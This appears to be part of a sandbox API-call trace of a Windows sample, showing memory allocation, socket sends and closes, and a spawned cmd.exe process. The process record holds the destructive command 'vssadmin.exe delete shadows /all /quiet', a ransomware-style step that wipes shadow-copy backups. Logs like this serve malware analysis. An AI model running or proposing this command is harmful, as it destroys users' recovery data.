[0239.124] realloc (_Block=0x2fec58, _Size=0x1022) returned 0x2fec58
[0239.124] realloc (_Block=0x2fec58, _Size=0x1023) returned 0x2fec58
[0239.124] realloc (_Block=0x2fec58, _Size=0x1024) returned 0x2fec58
[0239.124] realloc (_Block=0x2fec58, _Size=0x1025) returned 0x2fec58
[0239.124] realloc (_Block=0x2fec58, _Size=0x1026) returned 0x2fec58
[0239.124] realloc (_Block=0x2fec58, _Size=0x1027) returned 0x2fec58
[0239.124] realloc (_Block=0x2fec58, _Size=0x1028) returned 0x2fec58
[0239.125] realloc (_Block=0x2fec58, _Size=0x1029) returned 0x2fec58
[0239.127] realloc (_Block=0x2fec58, _Size=0x102a) returned 0x2fec58
[0239.127] realloc (_Block=0x2fec58, _Size=0x102b) returned 0x2fec58
[0239.127] realloc (_Block=0x2fec58, _Size=0x102c) returned 0x2fec58
[0239.127] realloc (_Block=0x2fec58, _Size=0x102d) returned 0x2fec58
[0239.128] realloc (_Block=0x2fec58, _Size=0x102e) returned 0x2fec58
[0239.128] realloc (_Block=0x2fec58, _Size=0x102f) returned 0x2fec58
[0239.128] realloc (_Block=0x2fec58, _Size=0x1030) returned 0x2fec58
[0239.128] realloc (_Block=0x2fec58, _Size=0x1031) returned 0x2fec58
[0239.128] realloc (_Block=0x2fec58, _Size=0x1032) returned 0x2fec58
[0239.128] realloc (_Block=0x2fec58, _Size=0x1033) returned 0x2fec58
[0239.128] realloc (_Block=0x2fec58, _Size=0x1034) returned 0x2fec58
[0239.128] realloc (_Block=0x2fec58, _Size=0x1035) returned 0x2fec58
[0239.129] realloc (_Block=0x2fec58, _Size=0x1036) returned 0x2fec58
[0239.129] realloc (_Block=0x2fec58, _Size=0x1037) returned 0x2fec58
[0239.129] realloc (_Block=0x2fec58, _Size=0x1038) returned 0x2fec58
[0239.129] realloc (_Block=0x2fec58, _Size=0x1039) returned 0x2fec58
[0239.129] realloc (_Block=0x0, _Size=0x1000) returned 0x2fec58
[0239.129] realloc (_Block=0x2fec58, _Size=0x1001) returned 0x2fec58
[0239.129] realloc (_Block=0x2fec58, _Size=0x1002) returned 0x2fec58
[0239.130] realloc (_Block=0x2fec58, _Size=0x1003) returned 0x2fec58
[0239.130] realloc (_Block=0x2fec58, _Size=0x1004) returned 0x2fec58
[0239.130] realloc (_Block=0x2fec58, _Size=0x1005) returned 0x2fec58
[0239.130] realloc (_Block=0x2fec58, _Size=0x1006) returned 0x2fec58
[0239.130] realloc (_Block=0x2fec58, _Size=0x1007) returned 0x2fec58
[0239.130] realloc (_Block=0x2fec58, _Size=0x1008) returned 0x2fec58
[0239.130] realloc (_Block=0x2fec58, _Size=0x1009) returned 0x2fec58
[0239.130] realloc (_Block=0x2fec58, _Size=0x100a) returned 0x2fec58
[0239.131] realloc (_Block=0x2fec58, _Size=0x100b) returned 0x2fec58
[0239.131] realloc (_Block=0x2fec58, _Size=0x100c) returned 0x2fec58
[0239.131] realloc (_Block=0x2fec58, _Size=0x100d) returned 0x2fec58
[0239.131] realloc (_Block=0x2fec58, _Size=0x100e) returned 0x2fec58
[0239.131] realloc (_Block=0x2fec58, _Size=0x100f) returned 0x2fec58
[0239.131] realloc (_Block=0x2fec58, _Size=0x1010) returned 0x2fec58
[0239.131] realloc (_Block=0x2fec58, _Size=0x1011) returned 0x2fec58
[0239.132] realloc (_Block=0x2fec58, _Size=0x1012) returned 0x2fec58
[0239.132] realloc (_Block=0x2fec58, _Size=0x1013) returned 0x2fec58
[0239.132] realloc (_Block=0x2fec58, _Size=0x1014) returned 0x2fec58
[0239.132] realloc (_Block=0x2fec58, _Size=0x1015) returned 0x2fec58
[0239.132] realloc (_Block=0x2fec58, _Size=0x1016) returned 0x2fec58
[0239.132] realloc (_Block=0x2fec58, _Size=0x1017) returned 0x2fec58
[0239.132] realloc (_Block=0x2fec58, _Size=0x1018) returned 0x2fec58
[0239.132] realloc (_Block=0x2fec58, _Size=0x1019) returned 0x2fec58
[0239.132] realloc (_Block=0x2fec58, _Size=0x101a) returned 0x2fec58
[0239.133] realloc (_Block=0x2fec58, _Size=0x101b) returned 0x2fec58
[0239.133] realloc (_Block=0x2fec58, _Size=0x101c) returned 0x2fec58
[0239.133] realloc (_Block=0x2fec58, _Size=0x101d) returned 0x2fec58
[0239.133] realloc (_Block=0x2fec58, _Size=0x101e) returned 0x2fec58
[0239.133] realloc (_Block=0x2fec58, _Size=0x101f) returned 0x2fec58
[0239.133] realloc (_Block=0x2fec58, _Size=0x1020) returned 0x2fec58
[0239.133] realloc (_Block=0x2fec58, _Size=0x1021) returned 0x2fec58
[0239.133] realloc (_Block=0x2fec58, _Size=0x1022) returned 0x2fec58
[0239.134] realloc (_Block=0x2fec58, _Size=0x1023) returned 0x2fec58
[0239.134] realloc (_Block=0x2fec58, _Size=0x1024) returned 0x2fec58
[0239.134] realloc (_Block=0x2fec58, _Size=0x1025) returned 0x2fec58
[0239.134] realloc (_Block=0x2fec58, _Size=0x1026) returned 0x2fec58
[0239.134] realloc (_Block=0x2fec58, _Size=0x1027) returned 0x2fec58
[0239.134] realloc (_Block=0x2fec58, _Size=0x1028) returned 0x2fec58
[0239.134] realloc (_Block=0x2fec58, _Size=0x1029) returned 0x2fec58
[0239.134] realloc (_Block=0x2fec58, _Size=0x102a) returned 0x2fec58
[0239.135] realloc (_Block=0x2fec58, _Size=0x102b) returned 0x2fec58
[0239.135] realloc (_Block=0x2fec58, _Size=0x102c) returned 0x2fec58
[0239.135] realloc (_Block=0x2fec58, _Size=0x102d) returned 0x2fec58
[0239.135] realloc (_Block=0x2fec58, _Size=0x102e) returned 0x2fec58
[0239.135] realloc (_Block=0x2fec58, _Size=0x102f) returned 0x2fec58
[0239.135] realloc (_Block=0x2fec58, _Size=0x1030) returned 0x2fec58
[0239.135] realloc (_Block=0x2fec58, _Size=0x1031) returned 0x2fec58
[0239.136] realloc (_Block=0x2fec58, _Size=0x1032) returned 0x2fec58
[0239.136] realloc (_Block=0x2fec58, _Size=0x1033) returned 0x2fec58
[0239.136] realloc (_Block=0x2fec58, _Size=0x1034) returned 0x2fec58
[0239.136] realloc (_Block=0x2fec58, _Size=0x1035) returned 0x2fec58
[0239.136] realloc (_Block=0x2fec58, _Size=0x1036) returned 0x2fec58
[0239.136] realloc (_Block=0x2fec58, _Size=0x1037) returned 0x2fec58
[0239.136] realloc (_Block=0x2fec58, _Size=0x1038) returned 0x2fec58
[0239.136] realloc (_Block=0x2fec58, _Size=0x1039) returned 0x2fec58
[0239.137] realloc (_Block=0x0, _Size=0x1000) returned 0x2fec58
[0239.137] realloc (_Block=0x2fec58, _Size=0x1001) returned 0x2fec58
[0239.137] realloc (_Block=0x2fec58, _Size=0x1002) returned 0x2fec58
[0239.137] realloc (_Block=0x2fec58, _Size=0x1003) returned 0x2fec58
[0239.137] realloc (_Block=0x2fec58, _Size=0x1004) returned 0x2fec58
[0239.137] realloc (_Block=0x2fec58, _Size=0x1005) returned 0x2fec58
[0239.137] realloc (_Block=0x2fec58, _Size=0x1006) returned 0x2fec58
[0239.137] realloc (_Block=0x2fec58, _Size=0x1007) returned 0x2fec58
[0239.138] realloc (_Block=0x2fec58, _Size=0x1008) returned 0x2fec58
[0239.138] realloc (_Block=0x2fec58, _Size=0x1009) returned 0x2fec58
[0239.138] realloc (_Block=0x2fec58, _Size=0x100a) returned 0x2fec58
[0239.138] realloc (_Block=0x2fec58, _Size=0x100b) returned 0x2fec58
[0239.138] realloc (_Block=0x2fec58, _Size=0x100c) returned 0x2fec58
[0239.138] realloc (_Block=0x2fec58, _Size=0x100d) returned 0x2fec58
[0239.138] realloc (_Block=0x2fec58, _Size=0x100e) returned 0x2fec58
[0239.138] realloc (_Block=0x2fec58, _Size=0x100f) returned 0x2fec58
[0239.138] realloc (_Block=0x2fec58, _Size=0x1010) returned 0x2fec58
[0239.139] realloc (_Block=0x2fec58, _Size=0x1011) returned 0x2fec58
[0239.139] realloc (_Block=0x2fec58, _Size=0x1012) returned 0x2fec58
[0239.139] realloc (_Block=0x2fec58, _Size=0x1013) returned 0x2fec58
[0239.139] realloc (_Block=0x2fec58, _Size=0x1014) returned 0x2fec58
[0239.139] realloc (_Block=0x2fec58, _Size=0x1015) returned 0x2fec58
[0239.139] realloc (_Block=0x2fec58, _Size=0x1016) returned 0x2fec58
[0239.139] realloc (_Block=0x2fec58, _Size=0x1017) returned 0x2fec58
[0239.139] realloc (_Block=0x2fec58, _Size=0x1018) returned 0x2fec58
[0239.140] realloc (_Block=0x2fec58, _Size=0x1019) returned 0x2fec58
[0239.140] realloc (_Block=0x2fec58, _Size=0x101a) returned 0x2fec58
[0239.140] realloc (_Block=0x2fec58, _Size=0x101b) returned 0x2fec58
[0239.140] realloc (_Block=0x2fec58, _Size=0x101c) returned 0x2fec58
[0239.140] realloc (_Block=0x2fec58, _Size=0x101d) returned 0x2fec58
[0239.140] realloc (_Block=0x2fec58, _Size=0x101e) returned 0x2fec58
[0239.141] realloc (_Block=0x2fec58, _Size=0x101f) returned 0x2fec58
[0239.141] realloc (_Block=0x2fec58, _Size=0x1020) returned 0x2fec58
[0239.141] realloc (_Block=0x2fec58, _Size=0x1021) returned 0x2fec58
[0239.141] realloc (_Block=0x2fec58, _Size=0x1022) returned 0x2fec58
[0239.141] realloc (_Block=0x2fec58, _Size=0x1023) returned 0x2fec58
[0239.141] realloc (_Block=0x2fec58, _Size=0x1024) returned 0x2fec58
[0239.142] realloc (_Block=0x2fec58, _Size=0x1025) returned 0x2fec58
[0239.142] realloc (_Block=0x2fec58, _Size=0x1026) returned 0x2fec58
[0239.142] realloc (_Block=0x2fec58, _Size=0x1027) returned 0x2fec58
[0239.142] realloc (_Block=0x2fec58, _Size=0x1028) returned 0x2fec58
[0239.142] realloc (_Block=0x2fec58, _Size=0x1029) returned 0x2fec58
[0239.142] realloc (_Block=0x2fec58, _Size=0x102a) returned 0x2fec58
[0239.142] realloc (_Block=0x2fec58, _Size=0x102b) returned 0x2fec58
[0239.142] realloc (_Block=0x2fec58, _Size=0x102c) returned 0x2fec58
[0239.142] realloc (_Block=0x2fec58, _Size=0x102d) returned 0x2fec58
[0239.143] realloc (_Block=0x2fec58, _Size=0x102e) returned 0x2fec58
[0239.143] realloc (_Block=0x2fec58, _Size=0x102f) returned 0x2fec58
[0239.143] realloc (_Block=0x2fec58, _Size=0x1030) returned 0x2fec58
[0239.143] realloc (_Block=0x2fec58, _Size=0x1031) returned 0x2fec58
[0239.143] realloc (_Block=0x2fec58, _Size=0x1032) returned 0x2fec58
[0239.143] realloc (_Block=0x2fec58, _Size=0x1033) returned 0x2fec58
[0239.143] realloc (_Block=0x2fec58, _Size=0x1034) returned 0x2fec58
[0239.143] realloc (_Block=0x2fec58, _Size=0x1035) returned 0x2fec58
[0239.144] realloc (_Block=0x2fec58, _Size=0x1036) returned 0x2fec58
[0239.144] realloc (_Block=0x2fec58, _Size=0x1037) returned 0x2fec58
[0239.144] realloc (_Block=0x2fec58, _Size=0x1038) returned 0x2fec58
[0239.144] realloc (_Block=0x2fec58, _Size=0x1039) returned 0x2fec58
[0239.144] realloc (_Block=0x0, _Size=0x1000) returned 0x2fec58
[0239.144] realloc (_Block=0x2fec58, _Size=0x1001) returned 0x2fec58
[0239.144] realloc (_Block=0x2fec58, _Size=0x1002) returned 0x2fec58
[0239.144] realloc (_Block=0x2fec58, _Size=0x1003) returned 0x2fec58
[0239.145] realloc (_Block=0x2fec58, _Size=0x1004) returned 0x2fec58
[0239.145] realloc (_Block=0x2fec58, _Size=0x1005) returned 0x2fec58
[0239.145] realloc (_Block=0x2fec58, _Size=0x1006) returned 0x2fec58
[0239.145] realloc (_Block=0x2fec58, _Size=0x1007) returned 0x2fec58
[0239.145] realloc (_Block=0x2fec58, _Size=0x1008) returned 0x2fec58
[0239.145] realloc (_Block=0x2fec58, _Size=0x1009) returned 0x2fec58
[0239.145] realloc (_Block=0x2fec58, _Size=0x100a) returned 0x2fec58
[0239.145] realloc (_Block=0x2fec58, _Size=0x100b) returned 0x2fec58
[0239.145] realloc (_Block=0x2fec58, _Size=0x100c) returned 0x2fec58
[0239.146] realloc (_Block=0x2fec58, _Size=0x100d) returned 0x2fec58
[0239.146] realloc (_Block=0x2fec58, _Size=0x100e) returned 0x2fec58
[0239.146] send (s=0x98, buf=0x2fec58*, len=4153, flags=0) returned 4153
[0239.194] free (_Block=0x2fec58)
[0239.194] select (in: nfds=153, readfds=0x2c4f9bc, writefds=0x0, exceptfds=0x0, timeout=0x2c4fac0*(tv_sec=90, tv_usec=0) | out: readfds=0x2c4f9bc, writefds=0x0, exceptfds=0x0) returned 1
[0239.194] recv (in: s=0x98, buf=0x27d130, len=8192, flags=0 | out: buf=0x27d130*) returned 92
[0239.195] send (s=0xa0, buf=0x2fec58*, len=4072, flags=0) returned 4072
[0239.195] send (s=0xa4, buf=0x2fec58*, len=4072, flags=0) returned 4072
[0239.195] send (s=0xa8, buf=0x2fec58*, len=4072, flags=0) returned 4072
[0239.195] send (s=0xac, buf=0x2fec58*, len=4072, flags=0) returned 4072
[0239.195] send (s=0xb0, buf=0x2fec58*, len=4072, flags=0) returned 4072
[0239.196] send (s=0xb4, buf=0x2fec58*, len=4072, flags=0) returned 4072
[0239.196] send (s=0xb8, buf=0x2fec58*, len=4072, flags=0) returned 4072
[0239.196] send (s=0xbc, buf=0x2fec58*, len=4072, flags=0) returned 4072
[0239.196] send (s=0xc0, buf=0x2fec58*, len=4072, flags=0) returned 4072
[0239.196] send (s=0xc4, buf=0x2fec58*, len=4072, flags=0) returned 4072
[0239.197] send (s=0xc8, buf=0x2fec58*, len=4072, flags=0) returned 4072
[0239.197] send (s=0xcc, buf=0x2fec58*, len=4072, flags=0) returned 4072
[0239.197] send (s=0xd0, buf=0x2fec58*, len=4072, flags=0) returned 4072
[0239.197] send (s=0x9c, buf=0x2fec58*, len=4072, flags=0) returned 4072
[0239.197] send (s=0xd8, buf=0x2fec58*, len=4072, flags=0) returned 4072
[0239.198] send (s=0xdc, buf=0x2fec58*, len=4072, flags=0) returned 4072
[0239.198] send (s=0xe0, buf=0x2fec58*, len=4072, flags=0) returned 4072
[0239.198] send (s=0xe4, buf=0x2fec58*, len=4072, flags=0) returned 4072
[0253.144] closesocket (s=0xa0) returned 0
[0253.145] free (_Block=0x29e4e8)
[0253.145] free (_Block=0x2a04f0)
[0253.145] free (_Block=0x29c4e0)
[0253.145] free (_Block=0x281268)
[0253.145] free (_Block=0x281348)
[0253.145] free (_Block=0x276f40)
[0253.145] free (_Block=0x276f60)
[0253.145] free (_Block=0x281338)
[0253.145] free (_Block=0x38d9a8)
[0253.145] free (_Block=0x276f20)
[0253.145] free (_Block=0x29b448)
[0253.145] closesocket (s=0xa4) returned 0
[0253.146] free (_Block=0x2a5598)
[0253.146] free (_Block=0x2a75a0)
[0253.146] free (_Block=0x2a3590)
[0253.146] free (_Block=0x281288)
[0253.146] free (_Block=0x281298)
[0253.146] free (_Block=0x276fa0)
[0253.146] free (_Block=0x276fc0)
[0253.146] free (_Block=0x2812a8)
[0253.146] free (_Block=0x38d930)
[0253.146] free (_Block=0x276f80)
[0253.146] free (_Block=0x2a24f8)
[0253.146] closesocket (s=0xa8) returned 0
[0253.146] free (_Block=0x2ac648)
[0253.146] free (_Block=0x2ae650)
[0253.146] free (_Block=0x2aa640)
[0253.146] free (_Block=0x2812b8)
[0253.146] free (_Block=0x281278)
[0253.146] free (_Block=0x277000)
[0253.146] free (_Block=0x277020)
[0253.146] free (_Block=0x2812d8)
[0253.146] free (_Block=0x38d948)
[0253.146] free (_Block=0x276fe0)
[0253.146] free (_Block=0x2a95a8)
[0253.147] closesocket (s=0xac) returned 0
[0253.147] free (_Block=0x2b36f8)
[0253.147] free (_Block=0x2b5718)
[0253.147] free (_Block=0x2b16f0)
[0253.148] free (_Block=0x281218)
[0253.148] free (_Block=0x2812c8)
[0253.148] free (_Block=0x277060)
[0253.148] free (_Block=0x277080)
[0253.148] free (_Block=0x2811e8)
[0253.148] free (_Block=0x38d900)
[0253.148] free (_Block=0x277040)
[0253.148] free (_Block=0x2b0658)
[0253.149] closesocket (s=0xb0) returned 0
[0253.149] free (_Block=0x2b9728)
[0253.149] free (_Block=0x2bb730)
[0253.149] free (_Block=0x2b7720)
[0253.149] free (_Block=0x2811f8)
[0253.149] free (_Block=0x281228)
[0253.149] free (_Block=0x2770c0)
[0253.149] free (_Block=0x2770e0)
[0253.149] free (_Block=0x281208)
[0253.149] free (_Block=0x38d918)
[0253.149] free (_Block=0x2770a0)
[0253.149] free (_Block=0x2f5700)
[0253.149] closesocket (s=0xb4) returned 0
[0253.150] free (_Block=0x2bf740)
[0253.150] free (_Block=0x2c1748)
[0253.150] free (_Block=0x2bd738)
[0253.150] free (_Block=0x281248)
[0253.150] free (_Block=0x281258)
[0253.150] free (_Block=0x277120)
[0253.150] free (_Block=0x277140)
[0253.150] free (_Block=0x281238)
[0253.150] free (_Block=0x38d8b8)
[0253.150] free (_Block=0x277100)
[0253.150] free (_Block=0x2f6798)
[0253.150] closesocket (s=0xb8) returned 0
[0253.150] free (_Block=0x2c5758)
[0253.150] free (_Block=0x2c7760)
[0253.150] free (_Block=0x2c3750)
[0253.150] free (_Block=0x281188)
[0253.150] free (_Block=0x281198)
[0253.150] free (_Block=0x277180)
[0253.150] free (_Block=0x2771a0)
[0253.151] free (_Block=0x2811a8)
[0253.151] free (_Block=0x38d8e8)
[0253.151] free (_Block=0x277160)
[0253.151] free (_Block=0x2f7830)
[0253.151] closesocket (s=0xbc) returned 0
[0253.151] free (_Block=0x2cb770)
[0253.151] free (_Block=0x2cd778)
[0253.151] free (_Block=0x2c9768)
[0253.151] free (_Block=0x2811c8)
[0253.151] free (_Block=0x2811d8)
[0253.151] free (_Block=0x2771e0)
[0253.151] free (_Block=0x277200)
[0253.151] free (_Block=0x2811b8)
[0253.151] free (_Block=0x38d8d0)
[0253.151] free (_Block=0x2771c0)
[0253.151] free (_Block=0x2f88c8)
[0253.152] closesocket (s=0xc0) returned 0
[0253.152] free (_Block=0x2d1788)
[0253.152] free (_Block=0x2d3790)
[0253.152] free (_Block=0x2cf780)
[0253.152] free (_Block=0x282bc8)
[0253.152] free (_Block=0x281448)
[0253.152] free (_Block=0x277240)
[0253.152] free (_Block=0x277260)
[0253.152] free (_Block=0x2814e8)
[0253.152] free (_Block=0x38d870)
[0253.153] free (_Block=0x277220)
[0253.153] free (_Block=0x2f9960)
[0253.153] closesocket (s=0xc4) returned 0
[0253.153] free (_Block=0x2d77a0)
[0253.153] free (_Block=0x2d97a8)
[0253.153] free (_Block=0x2d5798)
[0253.153] free (_Block=0x282bf8)
[0253.153] free (_Block=0x282bd8)
[0253.153] free (_Block=0x2772a0)
[0253.153] free (_Block=0x2772c0)
[0253.153] free (_Block=0x282be8)
[0253.153] free (_Block=0x38d8a0)
[0253.153] free (_Block=0x277280)
[0253.153] free (_Block=0x2fa9f8)
[0253.153] closesocket (s=0xc8) returned 0
[0253.154] free (_Block=0x2dd7b8)
[0253.154] free (_Block=0x2df7c0)
[0253.154] free (_Block=0x2db7b0)
[0253.154] free (_Block=0x282c28)
[0253.154] free (_Block=0x282c08)
[0253.154] free (_Block=0x277300)
[0253.154] free (_Block=0x277320)
[0253.154] free (_Block=0x282c18)
[0253.154] free (_Block=0x38d888)
[0253.154] free (_Block=0x2772e0)
[0253.154] free (_Block=0x2fba90)
[0253.154] closesocket (s=0xcc) returned 0
[0253.154] free (_Block=0x2e37d0)
[0253.154] free (_Block=0x2e57d8)
[0253.154] free (_Block=0x2e17c8)
[0253.154] free (_Block=0x282c58)
[0253.154] free (_Block=0x282c38)
[0253.154] free (_Block=0x277360)
[0253.154] free (_Block=0x277380)
[0253.154] free (_Block=0x282c48)
[0253.155] free (_Block=0x38d810)
[0253.155] free (_Block=0x277340)
[0253.155] free (_Block=0x2fcb28)
[0253.155] closesocket (s=0xd0) returned 0
[0253.155] free (_Block=0x2e97e8)
[0253.155] free (_Block=0x2eb7f0)
[0253.155] free (_Block=0x2e77e0)
[0253.155] free (_Block=0x282c88)
[0253.155] free (_Block=0x282c68)
[0253.155] free (_Block=0x2773c0)
[0253.155] free (_Block=0x2773e0)
[0253.155] free (_Block=0x282c78)
[0253.155] free (_Block=0x38d858)
[0253.155] free (_Block=0x2773a0)
[0253.155] free (_Block=0x2fdbc0)
[0253.155] closesocket (s=0x9c) returned 0
[0253.158] free (_Block=0x302da8)
[0253.158] free (_Block=0x304db0)
[0253.158] free (_Block=0x300da0)
[0253.158] free (_Block=0x281358)
[0253.158] free (_Block=0x2812f8)
[0253.158] free (_Block=0x276f00)
[0253.158] free (_Block=0x276ee0)
[0253.158] free (_Block=0x281308)
[0253.158] free (_Block=0x38d990)
[0253.158] free (_Block=0x276e80)
[0253.158] free (_Block=0x2ffcf0)
[0253.158] closesocket (s=0xd8) returned 0
[0253.159] free (_Block=0x308dc0)
[0253.159] free (_Block=0x30adc8)
[0253.159] free (_Block=0x306db8)
[0253.159] free (_Block=0x282ce8)
[0253.159] free (_Block=0x282cc8)
[0253.159] free (_Block=0x277480)
[0253.159] free (_Block=0x2778c0)
[0253.159] free (_Block=0x282cd8)
[0253.159] free (_Block=0x38d828)
[0253.159] free (_Block=0x277460)
[0253.160] free (_Block=0x340d88)
[0253.160] closesocket (s=0xdc) returned 0
[0253.160] free (_Block=0x30edd8)
[0253.160] free (_Block=0x310de0)
[0253.160] free (_Block=0x30cdd0)
[0253.160] free (_Block=0x282d18)
[0253.160] free (_Block=0x282cf8)
[0253.160] free (_Block=0x277900)
[0253.160] free (_Block=0x277920)
[0253.160] free (_Block=0x282d08)
[0253.160] free (_Block=0x38d7c8)
[0253.160] free (_Block=0x2778e0)
[0253.160] free (_Block=0x341e38)
[0253.160] closesocket (s=0xe0) returned 0
[0253.160] free (_Block=0x314df0)
[0253.160] free (_Block=0x316df8)
[0253.160] free (_Block=0x312de8)
[0253.161] free (_Block=0x282d48)
[0253.161] free (_Block=0x282d28)
[0253.161] free (_Block=0x277960)
[0253.161] free (_Block=0x277980)
[0253.161] free (_Block=0x282d38)
[0253.161] free (_Block=0x38d7f8)
[0253.161] free (_Block=0x277940)
[0253.161] free (_Block=0x342f40)
[0253.161] closesocket (s=0xe4) returned 0
[0253.161] free (_Block=0x31ae08)
[0253.161] free (_Block=0x31ce10)
[0253.161] free (_Block=0x318e00)
[0253.161] free (_Block=0x276770)
[0253.161] free (_Block=0x276760)
[0253.161] free (_Block=0x2779c0)
[0253.161] free (_Block=0x2779e0)
[0253.161] free (_Block=0x282d58)
[0253.161] free (_Block=0x38d7e0)
[0253.161] free (_Block=0x2779a0)
[0253.161] free (_Block=0x344048)
[0253.161] Sleep (dwMilliseconds=0x1388)
[0260.318] realloc (_Block=0x0, _Size=0x1000) returned 0x340d88
[0260.319] GetTickCount () returned 0x135c681
[0260.319] srand (_Seed=0x135c681)
[0260.319] rand () returned 6338
[0260.319] rand () returned 4523
[0260.319] rand () returned 18992
[0260.319] rand () returned 20752
[0260.319] realloc (_Block=0x0, _Size=0x1000) returned 0x2ffc48
[0260.319] send (s=0x98, buf=0x2ffc48*, len=82, flags=0) returned 82
[0260.320] select (in: nfds=153, readfds=0x2c4f948, writefds=0x0, exceptfds=0x0, timeout=0x2c4fa4c*(tv_sec=90, tv_usec=0) | out: readfds=0x2c4f948, writefds=0x0, exceptfds=0x0) returned 1
[0260.320] recv (in: s=0x98, buf=0x340d88, len=4096, flags=0 | out: buf=0x340d88*) returned 39
[0260.320] free (_Block=0x2ffc48)
[0260.320] free (_Block=0x340d88)
[0260.321] Sleep (dwMilliseconds=0x7d0)
[0263.592] malloc (_Size=0x2000) returned 0x318e00
[0263.592] malloc (_Size=0x2000) returned 0x31ce10
[0263.592] send (s=0x98, buf=0x318e00*, len=39, flags=0) returned 39
[0263.593] select (in: nfds=153, readfds=0x2c4f948, writefds=0x0, exceptfds=0x0, timeout=0x2c4fa4c*(tv_sec=90, tv_usec=0) | out: readfds=0x2c4f948, writefds=0x0, exceptfds=0x0) returned 1
[0263.593] recv (in: s=0x98, buf=0x31ce10, len=8192, flags=0 | out: buf=0x31ce10*) returned 39
[0263.594] send (s=0x98, buf=0x318e00*, len=43, flags=0) returned 43
[0263.594] select (in: nfds=153, readfds=0x2c4f954, writefds=0x0, exceptfds=0x0, timeout=0x2c4fa58*(tv_sec=90, tv_usec=0) | out: readfds=0x2c4f954, writefds=0x0, exceptfds=0x0) returned 1
[0263.597] recv (in: s=0x98, buf=0x31ce10, len=8192, flags=0 | out: buf=0x31ce10*) returned 43
[0263.597] free (_Block=0x318e00)
[0263.597] free (_Block=0x31ce10)
[0263.597] closesocket (s=0x98) returned 0
[0263.598] free (_Block=0x27b128)
[0263.598] free (_Block=0x27d130)
[0263.598] free (_Block=0x279120)
[0263.598] free (_Block=0x281328)
[0263.598] free (_Block=0x281318)
[0263.598] free (_Block=0x276e40)
[0263.598] free (_Block=0x276e60)
[0263.598] free (_Block=0x2710b8)
[0263.599] free (_Block=0x274cb8)
[0263.599] free (_Block=0x276ec0)
[0263.599] free (_Block=0x38d978)
[0263.599] free (_Block=0x280140)
[0263.599] free (_Block=0x276ea0)
[0263.599] free (_Block=0x281378)
[0263.599] free (_Block=0x38d960)
[0263.599] free (_Block=0x276e20)
[0263.599] free (_Block=0x271e10)
[0263.599] free (_Block=0x282fd0)
[0263.601] free (_Block=0x2933a8)
[0263.602] WSACleanup () returned 0
[0263.602] malloc (_Size=0x2) returned 0x281378
[0263.603] free (_Block=0x281378)
[0263.603] free (_Block=0x2711b8)
[0263.603] free (_Block=0x38da38)
[0263.603] free (_Block=0x38da08)
[0263.603] free (_Block=0x273ab8)
Process:
id = "7"
image_name = "cmd.exe"
filename = "c:\\windows\\system32\\cmd.exe"
page_root = "0x70c72000"
os_pid = "0xfe8"
os_integrity_level = "0x3000"
os_privileges = "0x60800000"
monitor_reason = "child_process"
parent_id = "1"
os_parent_pid = "0x604"
cmd_line = "\"cmd.exe\" /c vssadmin.exe delete shadows /all /quiet"
cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
bitness = "32"
os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Thread:
id = 277
os_tid = 0xfec
[0242.314] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2ef990 | out: lpSystemTimeAsFileTime=0x2ef990*(dwLowDateTime=0x69537f00, dwHighDateTime=0x1d6a96f))
[0242.314] GetCurrentProcessId () returned 0xfe8
[0242.314] GetCurrentThreadId () returned 0xfec
[0242.314] GetTickCount () returned 0x116dc6b
[0242.314] QueryPerformanceCounter (in: lpPerformanceCount=0x2ef998 | out: lpPerformanceCount=0x2ef998*=36145058194) returned 1
[0242.317] GetModuleHandleW (lpModuleName=0x0) returned 0x4a440000
[0242.317] __set_app_type (_Type=0x1)
[0242.317] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a467810) returned 0x0
[0242.317] __getmainargs (in: _Argc=0x4a48a608, _Argv=0x4a48a618, _Env=0x4a48a610, _DoWildCard=0, _StartInfo=0x4a46e0f4 | out: _Argc=0x4a48a608, _Argv=0x4a48a618, _Env=0x4a48a610) returned 0
[0242.318] GetCurrentThreadId () returned 0xfec
[0242.318] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xfec) returned 0x3c
[0242.319] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000
[0242.319] GetProcAddress (hModule=0x77940000, lpProcName="SetThreadUILanguage") returned 0x77956d40
[0242.319] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
[0242.319] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
[0242.319] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2ef928 | out: phkResult=0x2ef928*=0x0) returned 0x2
[0242.320] VirtualQuery (in: lpAddress=0x2ef910, lpBuffer=0x2ef890, dwLength=0x30 | out: lpBuffer=0x2ef890*(BaseAddress=0x2ef000, AllocationBase=0x1f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
[0242.320] VirtualQuery (in: lpAddress=0x1f0000, lpBuffer=0x2ef890, dwLength=0x30 | out: lpBuffer=0x2ef890*(BaseAddress=0x1f0000, AllocationBase=0x1f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
[0242.320] VirtualQuery (in: lpAddress=0x1f1000, lpBuffer=0x2ef890, dwLength=0x30 | out: lpBuffer=0x2ef890*(BaseAddress=0x1f1000, AllocationBase=0x1f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
